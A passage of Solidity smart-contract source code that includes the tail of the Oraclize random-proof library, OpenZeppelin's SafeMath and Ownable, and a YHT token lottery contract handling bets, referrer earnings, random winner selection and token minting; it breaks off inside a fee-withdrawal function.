bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
// </ORACLIZE_API>
//==============================================================================
// Begin: This part comes from openzeppelin-solidity
// https://github.com/OpenZeppelin/openzeppelin-solidity
//==============================================================================
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
//==============================================================================
// End: This part comes from openzeppelin-solidity
//==============================================================================
/**
* @dev YHT interface, for mint and transfer earnings.
*/
contract YHTInterface {
function mintToFounder(address to, uint256 amount, uint256 normalAmount) external;
function mintToNormal(address to, uint256 amount, uint256 bonusRoundId) external;
function transferExtraEarnings(address winner) external payable;
function transferBonusEarnings() external payable returns(uint256);
function withdrawForBet(address addr, uint256 value) external;
}
/**
* The Lottery contract for Printing YHT
*/
contract Lottery is usingOraclize, Ownable {
using SafeMath for uint256;
/**
* @dev betting information for everyone
*/
struct Bet {
uint256 cycleCount; //number of cycles during a bet, if it not equls Lottery.cycleCount the amount is zero
uint256 amount; //betting amount
}
struct BetCycle {
uint256 amount;
uint256 bonusRoundId;
}
struct Referrer {
uint256 id;
uint256 bindReferrerId;
uint256 bindCycleCount;
uint256 beBindCount;
uint256 earnings;
}
//settings begin
// 41.77% will assigned to winner
// 39% will assigned to the people who hold YHT
// 18% will put in the next prize pool
// 1.23% is fee
uint256 constant private kTenThousand = 10000; // all rate is fraction of ten thousand
uint256 constant private kRewardRate = 4177; // the winner will get of the prize pool
uint256 constant private kBonusRate = 3900; // assigned to peoples who hold YHT
uint256 constant private kNextInitRate = 1800; // put in the next prize pool
uint256 constant private kFeeRate = 123; // fee 123
uint256 constant private kReferrerRate = 700; // when bet, the referrer will get 7% of bet amount
uint256 constant private kReferrerEarningsCycleCount = 15; // promotional earnings only for the specified cycle
uint8[] private kOpenRewardWeekdays = [ 2, 4, 6 ]; // every Tuesday, Thursday, Saturday open reward
uint256 constant private kRandomBeforeTime = 3 minutes; // before time of call Oraclize query function, at this point in time to compute the gas cost
uint256 constant private kQueryRandomMaxTryCount = 3; // max fail count of query Oraclize random function, if happen postpone to the next cycle
uint256 constant private kCallbackTimeout = 90 minutes; // oraclize callback timeout
uint256 constant private kGwei = (10 ** 9); // 1 Gwei
uint256 constant private kDefaultGasPrice = 3 * kGwei; // 3 Gwei
uint256 constant private kMaxGasPrice = 17 * kGwei; // 17 Gwei
/**
* @dev YHT amount of output per cycle, distribute by betting proportion
*/
uint256 constant private kMintTotalPerCycle = 271828182845904523536028;
uint256 constant private kMintHalveCycleCount = 314; // halved production per 314 cycles
uint256 constant private kMintTotalMin = 100 * (10 ** 18); // production reduced to 100, no longer output
uint256 constant private kMintFounderAdditionalRate = 382; // extra 3.82% for each cycle to the founder team
uint256 constant private kQueryUrlCallbackGas = 150000; // query url callback gas limits
uint256 constant private kQueryRandomCallbackBaseFirstGas = 550000; //query random callback base first gas limits
uint256 constant private kQueryRandomCallbackBaseGas = 450000; // query random callback base gas limits
uint256 constant private kQueryRandomCallbackPerGas = 918; // query random callback per people gas limits
//settings end
YHTInterface public YHT;
uint256 public cycleCount_; // current number of cycles
uint256 public nextOpenRewardTime_; // next open reward time
bytes32 private queryId_; // oraclize query id
uint256 private queryCallbackGasPrice_ = kDefaultGasPrice; // gas price for oraclize random query callback, init is 3Gwei
uint256 private queryTryCount_; // count of query Oraclize function
uint256 public queryRandomTryTime_; // query random time
uint256 public initAmount_; // prize pool initial amount, from 15% of previous cycle
uint256 public betAmount_; // total amount in current cycle, initialization value is 1, so betAmount_ - 1 is actual Amount
uint256 public betCount_; // bet count of current cycle
uint256 public betTotalGasprice_; // bet total gas price, used to guss gasprice
mapping(address => Bet) public bets_; // betting information of everyone
mapping(uint256 => BetCycle) public betCycles_; // bet cycle information
mapping(uint256 => address) public betAddrs_; // all the bet address in current cycle
uint256 public betAddrsCount_; // the bet address count in current cycle
mapping(address => Referrer) public referrers_; // referrer informations
mapping(uint256 => address) public referrerIdToAddrs_; // id => address
uint256 public nextReferrerId_; // referrer id counter
uint256 public referrerEarnings_; // referrer earnings in current cycle
event GasPriceUpdate(uint256 gasPrice);
event RandomQuery(uint delay, uint N, uint callbackGas, uint256 gasPrice);
event RandomSuccess(bytes data, uint256 tryCount);
event RandomVerifyFailed(bytes data, uint256 tryCount);
event NewBet(address indexed playerAddress, uint256 value, uint256 betValue, uint256 betAmount, uint256 betAddrsCount, uint256 betCount);
event CycleNew(uint256 cycleCount, uint256 delay, uint256 nextOpenRewardTime, uint256 initAmount);
event Divided(uint256 cycleCount, uint256 betAmount, uint256 initAmount, uint256 win, uint256 next, uint256 earnings);
event LuckyMan(uint256 cycleCount, uint256 openRewardTime, address playerAddress, uint256 betValue, uint256 reward);
event Withdraw(address addr, uint256 value);
event ObtainReferrerEarnings(address indexed referrerAdress, uint256 beBindCount, address playerAddress, uint256 earnings);
constructor() public {
}
/**
* @dev make sure only call from Oraclize
*/
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
/**
* @dev make sure no one can interact with contract until it has been activated.
*/
modifier isActivated() {
require(YHT != address(0));
_;
}
/**
* @dev prevents contracts from interacting
*/
modifier isHuman() {
address addr = msg.sender;
uint256 codeLength;
assembly {codeLength := extcodesize(addr)}
require(codeLength == 0, "sorry humans only");
_;
}
/**
* @dev check bet value min and max
*/
modifier isBetValueLimits(uint256 value) {
require(value >= 1672621637, "too small, not a valid currency");
require(value < 250000 ether, "so stupid, one thousand SB");
_;
}
/**
* @dev check sender is YHT contract
*/
modifier isYHT {
require(msg.sender == address(YHT));
_;
}
/**
* @dev activate contract, this is a one time.
pay some for Oraclize query and code execution
*/
function activate(address yht) onlyOwner public payable {
// can only be ran once
require(YHT == address(0));
require(msg.value >= 10 finney);
// activate the contract
YHT = YHTInterface(yht);
// Set the proof of oraclize in order to make secure random number generations
oraclize_setProof(proofType_Ledger);
// set oraclize call back gas price
oraclize_setCustomGasPrice(queryCallbackGasPrice_);
// set first cycle
cycleCount_ = 1;
/**
* use 1 as the initialization value, avoid cost or recycle gas in the query callback
*/
initAmount_ = 1;
betAmount_ = 1;
betAddrsCount_ = 1;
betCount_ = 1;
betTotalGasprice_ = 1;
queryTryCount_ = 1;
queryRandomTryTime_ = 1;
referrerEarnings_ = 1;
}
/**
* @dev check query status, if query callback is not triggered or too later, reactivate
*/
function check() private {
uint256 nextOpenRewardTime = nextOpenRewardTime_;
if (nextOpenRewardTime == 0) {
update();
}
else if (nextOpenRewardTime < now) {
if (now - nextOpenRewardTime > kCallbackTimeout && now - queryRandomTryTime_ > kCallbackTimeout) {
setGasPriceUseTx();
checkQueryRandom();
}
}
}
/**
* @dev get next reward time
* @param openRewardWeekdays the weekday to be open reward, from small to big, the sunday is 0
* @param currentTimestamp current time, use it to determine the next lottery time point
*/
function getNextOpenRewardTime(uint8[] openRewardWeekdays, uint256 currentTimestamp) pure public returns(uint) {
uint8 currentWeekday = uint8((currentTimestamp / 1 days + 4) % 7);
uint256 morningTimestamp = (currentTimestamp - currentTimestamp % 1 days);
// get number of days offset from next open reward time
uint256 nextDay = 0;
for (uint256 i = 0; i < openRewardWeekdays.length; ++i) {
uint8 openWeekday = openRewardWeekdays[i];
if (openWeekday > currentWeekday) {
nextDay = openWeekday - currentWeekday;
break;
}
}
// not found offset day
if (nextDay == 0) {
uint8 firstOpenWeekday = openRewardWeekdays[0];
if (currentWeekday == 0) { // current time is sunday
assert(firstOpenWeekday == 0);
nextDay = 7;
}
else {
uint8 remainDays = 7 - currentWeekday; // the rest of the week
nextDay = remainDays + firstOpenWeekday; // add the first open time
}
}
assert(nextDay >= 1 && nextDay <= 7);
uint256 nextOpenTimestamp = morningTimestamp + nextDay * 1 days;
assert(nextOpenTimestamp > currentTimestamp);
return nextOpenTimestamp;
}
/**
* @dev register query callback for cycle
*/
function update() private {
queryTryCount_ = 1;
uint currentTime = now;
// not sure if the previous trigger was made in advance, so add a protection
if (currentTime < nextOpenRewardTime_) {
currentTime = nextOpenRewardTime_;
}
nextOpenRewardTime_ = getNextOpenRewardTime(kOpenRewardWeekdays, currentTime);
uint256 delay = nextOpenRewardTime_ - now;
// before time of call query random function, at this point in time to compute the gas cost
if (delay > kRandomBeforeTime) {
delay -= kRandomBeforeTime;
}
queryId_ = oraclize_query(delay, "URL", "", kQueryUrlCallbackGas);
emit CycleNew(cycleCount_, delay, nextOpenRewardTime_, initAmount_);
}
/**
* @dev if has bet do query random, else to next update
*/
function checkQueryRandom() private {
if (betAmount_ > 1) {
queryRandom();
}
else {
update();
}
}
/**
* @dev set oraclize gas price
*/
function setQueryCallbackGasPrice(uint256 gasPrice) private {
queryCallbackGasPrice_ = gasPrice;
oraclize_setCustomGasPrice(gasPrice); // set oraclize call back gas price
emit GasPriceUpdate(gasPrice);
}
/**
* @dev when timeout too long, use tx.gasprice as oraclize callback gas price
*/
function setGasPriceUseTx() private {
uint256 gasPrice = tx.gasprice;
if (gasPrice < kDefaultGasPrice) {
gasPrice = kDefaultGasPrice;
} else if (gasPrice > kMaxGasPrice) {
gasPrice = kMaxGasPrice;
}
setQueryCallbackGasPrice(gasPrice);
}
/**
* @dev set gas price and try query random
*/
function updateGasPrice() private {
if (betCount_ > 1) {
uint256 gasPrice = (betTotalGasprice_ - 1) / (betCount_ - 1);
assert(gasPrice > 0);
setQueryCallbackGasPrice(gasPrice);
}
}
/**
* @dev Oraclize callback
*/
function __callback(bytes32 callbackId, string result, bytes proof) onlyOraclize public {
require(callbackId == queryId_, "callbackId is error");
if (queryTryCount_ == 1) {
updateGasPrice();
checkQueryRandom();
}
else {
queryRandomCallback(callbackId, result, proof);
}
}
/**
* @dev get the query random callback gas cost
*/
function getQueryRandomCallbackGas() view private returns(uint256) {
uint256 base = cycleCount_ == 1 ? kQueryRandomCallbackBaseFirstGas : kQueryRandomCallbackBaseGas;
return base + betAddrsCount_ * kQueryRandomCallbackPerGas;
}
/**
* @dev compute the gas cost then register query random function
*/
function queryRandom() private {
++queryTryCount_;
queryRandomTryTime_ = now;
/**
* base code from https://github.com/oraclize/ethereum-examples/blob/master/solidity/random-datasource/randomExample.sol#L44
*/
uint256 delay = 0;
uint256 callbackGas = getQueryRandomCallbackGas();
// number of random bytes we want the datasource to return
// the max range will be 2^(8*N)
uint256 N = 32;
// generates the oraclize query
queryId_ = oraclize_newRandomDSQuery(delay, N, callbackGas);
emit RandomQuery(delay, N, callbackGas, queryCallbackGasPrice_);
}
/**
* @dev Oraclize query random callback
*/
function queryRandomCallback(bytes32 callbackId, string result, bytes proof) private {
uint256 queryRandomTryCount = queryTryCount_ - 1;
bytes memory resultBytes = bytes(result);
if (resultBytes.length == 0 || oraclize_randomDS_proofVerify__returnCode(callbackId, result, proof) != 0) {
emit RandomVerifyFailed(resultBytes, queryRandomTryCount);
if (queryRandomTryCount < kQueryRandomMaxTryCount) {
// try again
queryRandom();
}
else {
// if fails too many, ostpone to the next query
update();
}
}
else {
emit RandomSuccess(resultBytes, queryRandomTryCount);
// get correct random result, so do the end action
currentCycleEnd(result);
}
}
/**
* @dev ends the cycle, mint tokens and randomly out winner
*/
function currentCycleEnd(string randomResult) private {
if (betAmount_ > 1) {
// mint tokens
mint();
// randomly out winner
randomWinner(randomResult);
}
else {
// the amount of betting is zero, to the next query directly
update();
}
}
/**
* @dev get mint count per cycle, halved production per 300 cycles.
*/
function getMintCountOfCycle(uint256 cycleCount) pure public returns(uint256) {
require(cycleCount > 0);
// halve times
uint256 times = (cycleCount - 1) / kMintHalveCycleCount;
// equivalent to mintTotalPerCycle / 2**times
uint256 total = kMintTotalPerCycle >> times;
if (total < kMintTotalMin) {
total = 0;
}
return total;
}
/**
* @dev mint tokens, just add total supply and mint extra to founder team.
* mint for normal player will be triggered in the next transaction, can see checkLastMint function
*/
function mint() private {
uint256 normalTotal = getMintCountOfCycle(cycleCount_);
if (normalTotal > 0) {
// extra to the founder team and add total supply
uint256 founderAmount = normalTotal.mul(kMintFounderAdditionalRate) / kTenThousand;
YHT.mintToFounder(owner, founderAmount, normalTotal);
}
}
/**
* @dev randomly out winner
*/
function randomWinner(string randomResult) private {
require(betAmount_ > 1);
// the [0, betAmount) range
uint256 value = uint256(sha3(randomResult)) % (betAmount_ - 1);
// iteration get winner
uint256 betAddrsCount = betAddrsCount_;
for (uint256 i = 1; i < betAddrsCount; ++i) {
address player = betAddrs_[i];
assert(player != address(0));
uint256 weight = bets_[player].amount;
if (value < weight) {
// congratulations to the lucky man
luckyWin(player, weight);
return;
}
value -= weight;
}
// can't get here
assert(false);
}
/**
* @dev got winner & dividing the earnings & to next cycle
*/
function luckyWin(address winner, uint256 betValue) private {
require(betAmount_ > 1);
// dividing the earnings
uint256 betAmount = betAmount_ - 1;
uint256 amount = betAmount.add(initAmount_);
uint256 win = amount.mul(kRewardRate) / kTenThousand;
uint256 next = amount.mul(kNextInitRate) / kTenThousand;
uint256 earnings = amount.mul(kBonusRate) / kTenThousand;
earnings = earnings.sub(referrerEarnings_ - 1);
emit Divided(cycleCount_, betAmount, initAmount_, win, next, earnings);
// transfer winner earnings
YHT.transferExtraEarnings.value(win)(winner);
emit LuckyMan(cycleCount_, nextOpenRewardTime_, winner, betValue, win);
// transfer bonus earnings to people who hold YHT
uint256 bonusRoundId = YHT.transferBonusEarnings.value(earnings)();
// set init amount for next prize pool, clear bet information
initAmount_ = next;
betCycles_[cycleCount_].amount = betAmount;
betCycles_[cycleCount_].bonusRoundId = bonusRoundId;
betAmount_ = 1;
betAddrsCount_ = 1;
betCount_ = 1;
betTotalGasprice_ = 1;
referrerEarnings_ = 1;
// add cycleCount and to next
++cycleCount_;
update();
}
/**
* @dev player transfer to this contract for betting
*/
function() isActivated isHuman isBetValueLimits(msg.value) public payable {
bet(msg.sender, msg.value, 0);
}
/**
* @dev bet with referrer
*/
function betWithReferrer(uint256 referrerId) isActivated isHuman isBetValueLimits(msg.value) public payable {
bet(msg.sender, msg.value, referrerId);
}
/**
* @dev use earnings to bet
*/
function betFromEarnings(uint256 value, uint256 referrerId) isActivated isHuman isBetValueLimits(value) public {
YHT.withdrawForBet(msg.sender, value);
bet(msg.sender, value, referrerId);
}
/**
* @dev bet core
*/
function bet(address player, uint256 value, uint256 referrerId) private {
checkMintStatus(player);
if (bets_[player].cycleCount == 0) {
// first bet in current cycle, so update information
bets_[player].cycleCount = cycleCount_;
bets_[player].amount = value;
betAddrs_[betAddrsCount_++] = player;
// check referrer status
checkReferrer(player, referrerId);
} else {
// not first bet in current cycle, add amount
bets_[player].amount = bets_[player].amount.add(value);
}
// update total amount in current cycle
betAmount_ = betAmount_.add(value);
// update bet count
++betCount_;
//transfer earnings to referrer
transferReferrerEarnings(player, value);
//use to guess gas price
betTotalGasprice_ = betTotalGasprice_.add(tx.gasprice);
// log event
emit NewBet(player, value, bets_[player].amount, betAmount_ - 1, betAddrsCount_ - 1, betCount_ - 1);
// check status, sometime query maybe failed
check();
}
/**
* @dev check referrer in first bet, only first bet can bind referrer
*/
function checkReferrer(address player, uint256 referrerId) private {
if (referrers_[player].id == 0) {
uint256 id = ++nextReferrerId_;
address referrerAddr = referrerIdToAddrs_[referrerId];
if (referrerAddr != address(0)) {
referrers_[player].bindReferrerId = referrerId;
referrers_[player].bindCycleCount = cycleCount_;
++referrers_[referrerAddr].beBindCount;
}
referrers_[player].id = id;
referrerIdToAddrs_[id] = player;
}
}
/**
* @dev transfer earnings to referrer if has bind
*/
function transferReferrerEarnings(address player, uint256 betValue) private {
uint256 bindReferrerId = referrers_[player].bindReferrerId;
if (bindReferrerId != 0) {
uint256 bindCycleCount = referrers_[player].bindCycleCount;
// promotional earnings only for the specified cycle
if (cycleCount_ - bindCycleCount < kReferrerEarningsCycleCount) {
address referrerAddr = referrerIdToAddrs_[bindReferrerId];
assert(referrerAddr != address(0));
uint256 earnings = betValue.mul(kReferrerRate) / kTenThousand;
referrers_[referrerAddr].earnings = referrers_[referrerAddr].earnings.add(earnings);
referrerEarnings_ = referrerEarnings_.add(earnings);
emit ObtainReferrerEarnings(referrerAddr, referrers_[referrerAddr].beBindCount, player, earnings);
} else {
// recycling gas
referrers_[player].bindReferrerId = 0;
referrers_[player].bindCycleCount = 0;
}
}
}
/**
* @dev get referrer earnings
*/
function getReferrerEarnings(address addr) view external returns(uint256) {
return referrers_[addr].earnings;
}
/**
* @dev withdraw referrer earnings if exists
*/
function checkReferrerEarnings(address addr) isYHT external {
uint256 earnings = referrers_[addr].earnings;
if (earnings > 0) {
referrers_[addr].earnings = 0;
YHT.transferExtraEarnings.value(earnings)(addr);
}
}
/**
* @dev get player last mint status
*/
function getMintStatus(address addr) view private returns(uint256, uint256, bool) {
uint256 lastMinAmount = 0;
uint256 lastBonusRoundId = 0;
bool isExpired = false;
uint256 lastCycleCount = bets_[addr].cycleCount;
if (lastCycleCount != 0) {
// if not current cycle, need mint token
if (lastCycleCount != cycleCount_) {
uint256 lastTotal = getMintCountOfCycle(lastCycleCount);
if (lastTotal > 0) {
lastMinAmount = bets_[addr].amount.mul(lastTotal) / betCycles_[lastCycleCount].amount;
lastBonusRoundId = betCycles_[lastCycleCount].bonusRoundId;
assert(lastBonusRoundId != 0);
}
isExpired = true;
}
}
return (lastMinAmount, lastBonusRoundId, isExpired);
}
/**
* @dev check player last mint status, mint for player if necessary
*/
function checkMintStatus(address addr) private {
(uint256 lastMinAmount, uint256 lastBonusRoundId, bool isExpired) = getMintStatus(addr);
if (lastMinAmount > 0) {
YHT.mintToNormal(addr, lastMinAmount, lastBonusRoundId);
}
if (isExpired) {
bets_[addr].cycleCount = 0;
bets_[addr].amount = 0;
}
}
/**
* @dev check last mint used by the YHT contract
*/
function checkLastMintData(address addr) isYHT external {
checkMintStatus(addr);
}
/**
* @dev clear warnings for unused variables
*/
function unused(bool) pure private {}
/**
* @dev get last mint informations used by the YHT contract
*/
function getLastMintAmount(address addr) view external returns(uint256, uint256) {
(uint256 lastMinAmount, uint256 lastBonusRoundId, bool isExpired) = getMintStatus(addr);
unused(isExpired);
return (lastMinAmount, lastBonusRoundId);
}
/**
* @dev deposit
* In extreme cases, the remaining amount may not be able to pay the callback charges, everyone can reactivate
*/
function deposit() public payable {
}
/**
* @dev withdraw total fees to the founder team
*/
function withdrawFee() onlyOwner public {
uint256 gas = kQueryUrlCallbackGas + getQueryRandomCallbackGas();
// the use of Oraclize requires the payment of a small fee
uint256 remain = gas * queryCallbackGasPrice_ + 500 finney;
// total amount of Prize pool
